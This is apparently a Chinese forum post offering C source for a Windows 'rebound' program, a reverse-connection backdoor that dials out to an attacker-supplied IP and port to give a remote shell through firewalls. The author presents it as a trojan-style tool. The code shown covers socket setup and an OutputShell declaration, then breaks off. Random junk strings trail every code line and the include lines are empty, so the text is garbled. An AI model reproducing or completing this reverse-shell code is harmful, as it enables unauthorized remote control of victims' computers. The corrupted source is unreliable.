这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D@C-5rmq
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/* ============================== U!T~!C^
Rebound port in Windows NT WJ)z6m]
By wind,2006/7 w'L\?pI
===============================*/ mrTlXXz
#include |].pDwgt
#include \Fl+\?~D
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#pragma comment(lib,"wsock32.lib") KgV3j]d
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void OutputShell(); 2*rH?dz8E
SOCKET sClient; >O1[:%Z1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IOTR/anu
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void main(int argc,char **argv) ~0?mBy!-O
{ Xsa2(-
WSADATA stWsaData; 0YaA `
int nRet; k $M]3}$U
SOCKADDR_IN stSaiClient,stSaiServer; h
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if(argc != 3) EJ@?h(O
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); KN$}tCU
return; >oea{u
} )S`jFQ1
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^L0d/,ik
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X7[^s
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stSaiClient.sin_family = AF_INET; pa#d L!J
stSaiClient.sin_port = htons(0); 5>VY LI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "-_fv5jL
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t'9*R7=
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printf("Bind Socket Failed!\n"); DQMHOd7g
return; 6W@UJx}w5
} '[J<=2&
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stSaiServer.sin_family = AF_INET; *ohL&